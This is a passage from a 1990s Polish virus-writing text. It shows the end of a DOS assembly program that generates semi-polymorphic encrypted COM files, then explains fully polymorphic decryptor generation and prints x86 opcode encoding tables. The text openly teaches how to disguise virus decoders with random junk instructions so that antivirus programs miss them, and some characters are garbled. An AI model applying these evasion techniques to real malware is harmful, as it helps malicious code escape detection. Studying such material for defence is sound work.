: Koniec:
mov ax,di ; i wstaw go pod
wczesniej zapamietany
sub ax,bx ; ofset
dec ax ; odejmij dlugosc
operandu w 74,??
mov [bx],al ;
mov bx,Semi_GdziePocz ; oblicz ofset, gdzie
zaczynaja
mov ax,di ; sie dane przeznaczone
do deszyfrowania
sub ax,Semi_Dokad ; z uwzglednieneim ofsetu
dla
add ax,100h ; pliku COM (ORG 100h)
mov [bx],ax ; i zapisz pod
zapamietany adres
mov cx,Semi_IleDanych ; ile danych do
kopiowania
lea si,TMPBufor ; pobieraj z bufora
zawierajacego
rep movsw ; zaszyfrowany kod i
kopiuj na koniec
mov cx,di ; oblicz, ile danych do
zapisu, czyli
sub cx,Semi_Dokad ; wartosc zwracana przez
procedure
pop di si ax ; przywroc zapamietane
rejestry
ret ; powrot z procedury
;----------------------------------------------------------------
-------------
LosowySkok: ; wstawia losowy skok
mov ax,15 ; zakres skokow 1..15
Call PseudolosowaAX ; losuj z zakresu 1..15
mov ah,al ;
mov al,0EBh ; AX=skok,EB
stosw ; zapisz EB,skok
mov al,ah ;
mov ah,0 ; AX:=AL=skok
add di,ax ; dodaj do di
ret ; powrot z procedury
Semi_IleDanych dw ? ; \ potrzebne do
chwilowego
Semi_Skad dw ? ; - zachowania roznych
wartosci
Semi_Dokad dw ? ; /
Semi_Losowa dw ? ; wartosc szyfrujaca kod
Semi_GdziePocz dw ? ; \ adresy do zmiennych
nieznanych
Semi_Petla dw ? ; \ w momencie, kiedy sa
potrzebne
Semi_DokadJZ dw ? ; / aby mozna bylo je
pozniej
; / zmienic
PseudoZarodek dw ? ; \ aktualny zarodek
generatora liczb
; / pseudolosowych
TMPBufor db 256 dup(?) ; \ rozmiar tymczasowego
bufora
; - = 256 bajtow, (o
rozmiarze co najmniej
; / rownym dlugosci kodu
wirusa)
;----------------------------------------------------------------
-------------
PseudoLosowa: ; generuje liczbe
pseudolosowa
; z zakresu 1..65535
mov ax,0FFFFh
PseudoLosowaAX: ; przedzial w AX
push dx ; zachowaj na chwile DX
Call ZmienPseudoZarodek ; zmien zarodek
mul PseudoZarodek ;
DX:AX:=przedzial*Zarodek
xchg ax,dx ; AX:=0..przedzial
inc ax ; pomin zero
pop dx ; przywroc DX ze stosu
ret
ZmienPseudoZarodek: ; zmienia PseudoZarodek
push ax ; zachowaj stary AX
in al,40h ; AL:=przypadkowa wartosc
xchg ah,al ; AH:=AL
in al,40h ; AX:=przypadkowa wartosc
xor ax,0ABCDh ; operacje pomocnicze
add ax,1234h ; operacje pomocnicze
mov PseudoZarodek,ax ; przepisz nowy zarodek
pop ax ; przywroc stary AX
ret ; powrot z procedury
;----------------------------------------------------------------
------------;
; Programik do zaszyfrowania wyswietlajacy komunikat
;
; przy uzyciu 09/21
;
;----------------------------------------------------------------
------------;
RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset
StartKoduPrzykladowego
StartKoduPrzykladowego:
call TrikCALL_POP ; trik do uzyskania relatywnego
ofsetu
TrikCALL_POP:
pop si ; wez relatywny ofset, gdzie kod
jest w pamieci
mov dx,offset TePrzyklad-Offset
StartKoduPrzykladowego-3
add dx,si ; DX:=ofset do tekstu (relatywny)
mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje
int 20h ; powrot do DOS (program typu COM)
TePrzyklad db CR,LF ; tekst do wyswietlenia
db '[Program wygenerowany przez SEMIPOL v1.0, Autor:
Adam Blaszczyk]'
db DOLAR
KoniecKoduPrzykladowego:
;----------------------------------------------------------------
-------------
TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam
Blaszczyk 1997',
db CR,LF,NUL
TeGenerator db CR,LF,'Czekaj, generuje plik(i)
...',CR,LF,NUL
AktualnaNazwaPliku db 'SEMI'
AktNumPliku db '0001'
db '.COM',NUL
TeCRLF db CR,LF,NUL
PSP_Segment dw ?
UchwytPliku dw ?
LiczbaPlikow dw ?
BuforDocelowy db 4096 dup(?)
StosStart db RozmiarStosu dup(?)
StosKoniec:
SEMI_POL ENDS
END Start
8.2.1.2. Pełny polimorfizm
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć
przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura
taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:
LICZNIK:=IleDanych
INDEX:=Pocz╣tekZaszyfrowanegoKodu
FOR I:=1 to Licznik do begin
DEKODUJ_1 DANą [INDEX]
DEKODUJ_2 DANA [INDEX]
DEKODUJ_N DANA [INDEX]
INDEX:=INDEX + PRZYROST ;
end;
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:
> indeks;
> licznik;
> kierunek zwiększania licznika;
> kierunek dekodowania;
> rodzaj używanych instrukcji (8086, 80286 itd.).
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX,
(E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany.
Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika).
Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy
pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów
80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????],
[BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może
zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania,
które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez
zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich
użytkowych rejestrów procesora.
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej,
czy też maleje od tej wartości do zera.
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po
uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca.
Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub
zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja
sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego
dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas
działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku
wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG
REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę
i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część
dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz
niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą
być wybierane losowo).
O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko
jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy
uwzględnić jak największą ilość rozkazów procesora.
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze
Jest to, aby rozkazy te:
> nie zamazywały dowolnie nie używanej przez siebie pamięci;
> nie zawieszały komputera;
> nie powodowały generowania wyjątków;
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP
oraz rejestrów stanowiących indeks i licznik).
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie
odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w
zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej
zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np.
zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego
rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych
instrukcji przywrócić jego oryginalną zawartość.
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest
ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie
łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż
z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar
instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi
antywirusowemu).
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała
fragment typowych programów komputerowych, stąd też wskazane jest używanie w
generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji
systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które
spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową
aplikacją.
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze
(AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych
rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są
bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/??
dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań
procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem
stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu
typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci.
Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie
przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie
wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości
rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w
której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch
segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np.
wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci
określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne
naruszenie mechanizmów ochrony).
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w
spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować
każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w
których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji
LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż
modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie
zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników.
Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD,
która właściwie ustawiła bit DF.
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany
efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie
odpowiednich zamienników (działających
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi
przykładami mogą tu być także poniższe operacje zerujące rejestr CX:
MOV CX,0 ; najbardziej trywialne zerowanie rejestru
CX
XOR CX,CX ; operacja XOR na tych samych operandach
zeruje je
SUB CX,CX ; odejmij CX od CX, w efekcie CX=0
AND CX,0 ; iloczyn logiczny z zerem jest zerem
ZerujCX: ; po wykonaniu pŕtli LOOP ZerujCX
; rejestr CX bŕdzie rˇwny O
MOV CX,XYZ ; wpisz do rejstru CX wartoťŠ
SUB CX,XYZ ; i potem j╣ od niego odejmij
MOV REJ16,0 ; zeruj jakiť rejestr 16-bitowy
MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX
XOR CL,CL ; kombinacje powy┐szych operacji dla
rejestrˇw 8-bitowych SUB CH,CH ; CL i CH │╣cznie
tak┐e wyzeruja rejestr CX
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących
indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np.
zamiast jednej instrukq'i ADD [INDEX],???? użyć:
CLC ADC [INDEX], ????
SUB [INDEX],-????
MOV REJ,????
ADD [INDEX],REJ
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura
dekodująca powinna mieć postać podobną do poniższej sekwencji:
....... ; wype│niacz
inicjuj rejestr - licznik lub indeks
....... ; wype│niacz
inicjuj rejestr - indeks lub licznik
....... ; wype│niacz
pierwsza instrukcja dekodera
....... ; wype│niacz
druga instrukcja dekodera
....... ; wype│niacz
n-ta instrukcja dekodera
....... ; wype│niacz
sprawdzenie warunku zako˝czenia pŕtli
....... ; wype│niacz
skok, je┐eli warunek spe│niony
....... ; wype│niacz
w│aťciwy, zaszyfrowany
kod wirusa, do ktˇrego
zostanie przekazane
sterowanie po rozkodowaniu
....... ; wype│niacz
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową
procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy
antywirusowe.
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod
wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej
procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli
dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu,
który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie
jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86
(kierując się ich przydatnością do wykorzystania w generatorze).
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji
wykorzystywanych przez języki wysokiego poziomu
(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji
podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB
(386+).
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora,
a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu
chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy
wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na
przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy
dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00,
zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00.
Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć
sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać,
przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od
tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on
instrukcje 32-bitowe, w chronionym zaś 16-bitowe.
Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów
umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej
występują jako liczby binarne.
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:
N:=LiczbaPseudolosowa
For I:=1 to N do GenerujInstrukcjŕ
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania
procedury.
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i
zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy.
Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany,
przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder
rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do
znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać
mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):
procedurŕ GenerujInstrukcjŕ;
X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjŕ sprawdč
atrybuty instrukcji wskazywanej przez X
if s╣ jakieť operandy then
dla ka┐dego operandu begin
repeat
arg:=Pseudolosowa
if arg nie koliduje z zasobami dekodera to argument
znaleziony
untii argument znaleziony lub furtka bezpiecze˝stwa
wstaw operand=arg end else wstaw instrukcjŕ bez operandˇw;
end;
Załóżmy, iż dla dekodera zostały wybrane:
[Mem, cz໩ bajtu MrnRejMem, w tym przypadku [BX+SI] }
Indeks:= 000 ;{Rejestr: z przedzia│u 000.. 111}
Licznik:= 001 ;{trzeba zdekodowaŠ u┐ywane
; przez indeks dwa rejestry, w tym
; przypadku oczywiťcie rŕcznie }
IndeksModyf1:= 110 ; [numer rejstru SI}
IndeksModyf2:= 011 ; (numer rejestru BX}
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który
w tabeli jest zapisany jako:
01001Rej DEC rejestr Rej.
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 -
bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca
operandu dla instrukcji powinna wyglądać mniej więcej tak:
SzukajArgumentu:
MOV AX,7
Call RandomAX ; weč liczbŕ z przedzia│u 000...111
; liczba w AL (bo AH-0)
cmp AL,IndeksModyfl ; czy rejestr zajŕty przez
; pierwsza cz໩ indeksu ?
je SzukajArgumentu
cmp AL, IndeksModyf2 ; czy rejestr zajŕty przez
; druga cz໩ indeksu ?
je SzukajArgumentu
cmp AL, Licznik ; czy rejestr zajŕty przez licznik ?
je SzukajArgumentu
cmp AL,100b ; czy rejestr to SP ?
je SzukajArgumentu
; argument znaleziony i jest w AL
; AL=00000arg - argument na trzech
; m│odszych bitach
or al, 01001000b ; zsumuj logicznie z 5 bitami kodu
; operacj i DEC
stosb ; zapisz ca│a instrukcjŕ DEC arg do
bufora
Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do
wykorzystania, opisane dalej instrukcje.
W opisie instrukcji przyjęto następujące oznaczenia:
Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest
określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego,
czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli
przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy.
Wartości przypisane poszczególnym rejestrom są następujące:
Rej
000
001
010
011
100
101
110
111
8-bitowe
AL.
CL
DL
BL
AH
CH
DH
BH
16-bitowe AX
CX
DX
BX
SP
BP
SI
DI
32-bitowe EAX
ECX
EDX
EBX
ESP
EBP
ESI
EDI
Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób
adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem,
będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się
wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16
bitowy, 032 - 32 bitowy).
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16
- bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie
wystąpił przedrostek innego segmentu):
Mem
Seg/Mm
00
01
10
11 - operacja
na rejestrze o
numerze Mam,
a nie na
pamieci
000
DS
[BX+SI]
[BX+SI+O8]
[BX+SI+O16]
001
DS
[BX+DI]
[BX+DI+O8]
[BX+DI+O16]
010
SS
[BP+SI]
[BP+SI+O8]
[BP+SI+O16]
011
SS
[BP+DI]
[BP+DI+O8]
[BP+DI+O16]
100
DS
[SI]
[SI+O8]
[SI+O16]
101
DS
[DI]
[DI+O8]
[DI+O16]
110
DS/SS
DS:[O16]
SS:[BP+O8]
SS:[BP+O16]
111
DS
[BX]
[BX+O8]
[BX+O16]
Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-
bitowy):
Mem
Seg/Mm
00
01
10
11-operacja na
rejestrze o
numerze Mem,
a nie na
pamięci
000
DS
[EAX]
[EAX+O8}
[EAX+O32]
001
DS
[ECX]
[ECX+O8]
[ECX+O32]
010
DS
[EDX]
[EDX+O8]
[EDX+O32]
011
DS
[EBX]
[EBX+O8]
[EBX+O32]
100
[SIB]
[SIB+O8]
[SIB+O32]
101
DS/SS
DS:[O32]
SS:[EBP+O8]
SS:[EBP+O32]
110
DS
[ESI]
[ESI+O8]
[ESI+O32]
111
DS
[EDI]
[EDI+O8]
[EDI+O32]
Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób
adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB
występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu
zawartego w SIB jest następujący:
Adres SIB:=Baza+Indeks*(2^N), gdzie
> baza opisywana jest przez bity 7-5 bajtu SIB;
> indeks opisywany jest przez bity 4-2 bajtu SIB;
> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie
indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).
Poniższa tabela zawiera wartości, które może przyjmować Baza.
Baza
Seg/Mm
00
01,10,11
000
DS
EAX
EAX
001
DS
ECX
ECX
010
DS
EBX
EBX
011
DS
EDX
EDX
100
SS
ESP
ESP
101
DS/SS
DS:O32
SS:EBP
110
DS
ESI
ESI
111
DS
EDI
EDI
Poniższa tabela zawiera wartości, które może przyjmować Indeks.
Index
Rejestr
000
EAX
001
ECX
010
EBX
011
EDX
100
-
101
EBP
110
ESI
111
EDI
Sg - opisuje rodzaj segmentu użytego w operacji.
Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS
Seg - rozszerzone Sg (uwzględnia FS i GS).
Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS
Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może
przyjmować wartości przedstawione w poniższej tabeli:
Wartość Warunek
0000 O - overflow
0001 NO - not overflow
0010 C-carry
0011 NC-notcarry
0100 Z-zero
0101 NZ-not zero
0110 NA-notabove
0111 A-above
1000 S-sign
1001 NS-notsign
1010 P-parity
1011 NP-notparity
1100 L-less
1101 NL-not less
1110 NG-notgreat
1111 G-great
Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub
logicznej, którą ma instrukcja wykonać.
Ope
000
001
010
011
100
101
110
111
Opis
ADD
OR
ADC
SBB
AND
SUB
XOR
CMP
Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym
=82/83 (jest to zrnniejszona lista Ope).
Ope2
000
001
010
011
100
101
110
111
Opis
ADD
ADC
SBB
SUB
CMP
Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.
Ope
000
001
010
011
100
101
110
111
Opis
TEST
NOT
NEG
MUL
IMUL
DIV
IDIV
Op4 - opisuje instrukcje z pierwszym bajtem =FE,
Ope
000
001
010
011
100
101
110
111
Opis
INC
DEC
Op5 - opisuje instrukcje z pierwszym bajtem =FF.
Ope
000
001
010
011
100
101
110
111
Opis
INC
DEC
CALL
NEAR
CALL
FAR
JMP
NEAR
JMP
FAR
PUSH
Ops - opisuje różne rodzaje przesunięć.
Ope
000
001
010
011
100
101
110
111
Opis
ROL
ROR
RCL
RCR
SHL
SHR
SAL
SAR
Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na
podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.
Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.
WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66)
określające liczbę będącą operandem instrukcji.
Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do
wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.
ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po
wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na
podstawie obecności przedrostka 66).
Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.
Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po
wykonaniu dalekiej procedury lub dalekiego skoku.
bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;
- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,
- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,
- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.
bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji
zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.
bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.
Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne
nazwy są oddzielone przecinkiem.
Kody Instrukcji
Kod instrukcji (binarnie) Mnemonik
00001111 1000Wwww Reladr16 JWwww Reladr16
00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]
00001111 10100000 PUSH FS
00001111 10100001 POP FS
00001111 10100010 CPUID
00001111 10100011 MmRejMem BTMem,Rej
00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8
00001111 10100101 MmRejMem SHLD Mem,Rej,CL
00001111 1010011D MmRejMem CMPXCHG Mem,Rej
00001111 10101000 PUSH GS
00001111 10101001 POP GS
00001111 10101011 MmRejMem BTS Mem,Rej
00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8
00001111 10101101 MmRejMem SHRD Mem,Rej,CL
00001111 10101111 MmRejMem IMUL Rej,Mem
00001111 10110010 MmRejMem LSS Rej,Mem
00001111 10110011 MmRejMem BTS Mem,Rej
00001111 10110100 MmRejMem LFS Rej,Mem
00001111 10110101 MmRejMem LGS Rej,Mem
00001111 10110110 MmRejMem MOVZX Rej,Mem
00001111 10110111 MmR32Mem MOVZX R32,Mem
00001111 10111011 MmRejMem BTC Mem,Rej
00001111 10111100 MmRejMem BSF Mem,Rej
00001111 10111101 MmRejMem BSR Mem,Rej
00001111 10111110 MmRejMem MOVSX Rej,Mem
00001111 10111111 MmR32Mem MOVSX R32,Mem
00001111 1100000D MmRejMem XADD Mem,Rej
00001111 11000111 Mm001Mem CMPXCHG8B mem
00001111 11001r32 BSWAP r32
00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8
00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8
00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8
00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8
000Sg110 PUSH rejestr segmentowy Sg
000Sg111 POP rejestr segmentowy Sg,
Sg<>01,
bo 00001111= rozszerzene
instrukcje (w 8086
by│a to instrukcja POP CS)
00100111 DAA
00101111 DAS
00110111 AAA
00111111 AAS
001Sg110 przedrostek segmentu Sg
000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope
Reg,Mem
000pe10D WartkomD Ope Akumulator,WartkomD
01000Rej INC rejestr Rej
01001Rej DEC rejestr Rej
01010Rej PUSH rejestr Rej
01011Rej POP rejestr Rej
01100000 PUSHA
01100001 POPA
01100100 FS:
01100101 GS:
01100110 przedrostek instrukcji 386+
(dane 32-bitowe)
01100111 przedrostek instrukcji 386+
(operandy 32-
bitowe)
01101000 WartkomD PUSH WartkomD
0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem
01101010 Wartkom8 PUSH Wartkom8
0110110D INSB, INSW, INSWD
0110111D OUTSB, OUTSW, OUTSD
0111wwww Reladre8 JWwww Reiadre8
1000000D MmOpeMem WartkomD Ope Mem,WartkomD
1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)
1000010D MmRejMem TEST Mem,Rej
1000011D MmRejMem XCHG Mem,rej
100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV
Reg,Mem
10001101 MmRejMem LEA Rej,Mem
10001111 Mm000Mem POP Mem
100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV
Seg, Mem
10010Rej XCHG rejestr Rej
10011000 CBW/CWDE
10011001 CWD/CDQ
10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs
10011011 wait
10011100 PUSHF/PUSHFD
10011101 POPF/POPFD
10011110 SAHF
10011111 LAHF
101000SD WartkomD S=0 MOV
Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator
1010010D MOVSB,MOVSW, MOVSD
1010011D CMPSB, CMPSW, CMPSD
1010100D WartkomD TEST Akumulator,WartkomD
1010101D STOSB, STOSW, STOSD
1010110D LODSB, LODSW, LODSD
1010111D SCASB, SCASW, SCASD
1011DRej WarkomD MOV Rej,WartkomD
1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8
11000100 MmRejMem LES Rej,Mem
11000101 MmRejMem LDS Rej,Mem
1100011D Mm000Mem WarkomD MOV Mem,WartkomD
11001100 INT3
11001101 Wartkom8 INT Wartkom8
11001110 INTO
11001111 IRET
1100F010 WartkomF RET WartkomF
1100F011 RET N/F
1101000D MmOpsMem Ops Mem,1
1101001D MmOpsMem Ops Mem,CL
11010110 SETALC
11010111 XLAT
11100000 Reladre8 LOOPNZ Reladre8
11100001 Reladre8 LOOPZ Reiadre8
11100010 Reladre8 LOOP Reladre8
11100011 Reladre8 JCXZ/JECXZ Reladre8
11100100 Wartkom8 AAM Wartkom8, zwykle
Wartkom8=10
11100101 Wartkom8 AAD Wartkom8, zwykle
Wartkom8=10
1110010D Numport8 IN Akumulator,Numport8
1110011D Numport8 OUT Numport8,Akumulator
11101000 Reladr16 CALLNEAR Reladr16
11101001 Reladr16 JMP NEAR Reladr16
11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs
11101011 Reladre8 JMP SHORT Reladre8
1110110D IN Akumulator, DX
1110111D OUT DX,Akumulator
11110000 LOCK
